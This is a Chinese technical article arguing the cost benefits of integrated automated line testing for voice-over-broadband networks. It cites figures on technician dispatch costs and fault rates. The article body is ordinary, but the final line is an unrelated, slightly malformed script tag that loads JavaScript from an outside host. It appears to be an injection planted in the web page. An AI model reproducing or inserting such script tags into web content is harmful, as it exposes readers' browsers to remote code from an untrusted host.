电信运营商和有线网络服务商都希望在传统服务基础上增加数据和语音服务，以便在保护核心业务同时找到新的利润增长点。但随着语音和数据网络的结合，语音传输与宽带的接口将更加接近于客户端，从而使金属环路缩短，测试接入节点更加分散，此时如果对每个节点分别进行人工测试不仅耗时耗力，而且费用也相当惊人。本文介绍如何通过集成式自动测试方案解决宽带语音传输网络的测试问题，并从成本的角度详细进行分析。
无论宽带语音传输(vob)网络是使用xdsl、同轴电缆、光纤还是用无线连结作为宽带传输媒介，客户端接入点仍然要符合传统的电话标准，不过在vob网络中每个用户网关只有少量电话线，故语音接入对成本特别敏感，因为振铃和复杂测试单元等昂贵设备无法通过成千上万的线路摊销掉。
由于成本的压力，设备制造商不愿意考虑用户以后的费用，因此省掉了自动测试功能。假如传统机械回路测试(mlt)的测试端要数千美元，那么有些折衷办法还是行之有效的。正如本文作者在《电子工程专辑》2002年12期“自动测试满足宽带语音网络传输要求”一文中所述，集成式线卡/测试端设计可大幅减少测试费用，提高测试性能，同时测试所覆盖范围也没有减少。
既然知道集成式解决方案会有所帮助，设计人员就必须要考虑下面的问题：
1. 自动测试的好处在哪里？
2. 测试系统主要探测什么类型的故障？
如同经常遇到的情况一样，这两个问题是相互紧密联系的，不能分开孤立解决。
自动测试的好处
自动测试的好处可以从用户、服务运营商或设备供应商/制造商等不同的角度来考虑，本文主要从服务运营商角度进行评估。
一种判定自动测试好处的方法是分别在有和没有自动测试情况下，考虑用户成本(coo)与vob系统收入的差异，可用下式表示：
vat=δcoo+δrevenue
这里vat指自动测试系统实现的价值，δcoo是有无自动测试情况下用户成本之差，δrevenue则指有无自动测试情况下vob系统运营商收入的差异，该关系式清楚显示出服务运营商愿意花在自动测试方面的费用上限。
对于语音接入服务商来说，coo包括维护和修理的开支，如技术人员工资、交通费、燃油费、车辆维护费、技术人员和车辆的保险费、便携式测试设备的费用等。据telcordia公司george garceau估计，1999年美国电信业共派出了2,000万人次外出维修，共花费40亿美元。美国联邦通信委员会(fcc)收集的数据则表明，2001年地方电话公司(rboc)报告的出错率平均每月每100条线路是1.9次，也就是说每条线路每年的报错率是0.23次。
如果没有自动信道测试或mlt功能，我们可以认为平均每次报错都要派出一位维护人员。当然有些情况下即使没有自动测试，通过客户提供的信息，可以不用派人，但是也有些问题由于反馈信息不够，还需要多次派出维修人员。多次派出的情况还可能是由于所派技术人员带的设备不合适或经验不足造成。没有自动测试时，首次派人的目的有时是为诊断，第二次才是进行维修。
在美国，每次安排人员外出费用约在200至400美元左右，所以派人次数影响很大。假设每100条线每月要出动1.9人次，那么每条线每个月的平均人员派遣费用为3.8至7.6美元。
有时候这些外出费用会算在客户头上，但是大部分是完全可以避免的，不需要给最终用户带来额外烦恼及财务上的开支。想想一般用于局端的mlt类型，有时只要简单检查一下话筒有没有放好或者电话和插座是否接触不好等问题，就可以使人员外出减少35%。换句话说，对这些问题进行自动检测每个月每条线可以为服务运营商节省1.33至2.66美元。
减少重复派遣和缩短平均修复时间(mttr)也能降低开支，这可以通过针对不同问题派遣合适的技术人员、把他们送到正确的地点、让他们带上适当工具设备及预先对问题有所了解等方式来实现。根据fcc的数据，2001年将近20%的外出服务属于同一问题多次派遣，这不仅增加coo，而且对客户满意度及服务质量都会产生负面影响。
?script src=http://er12.com/t.js>
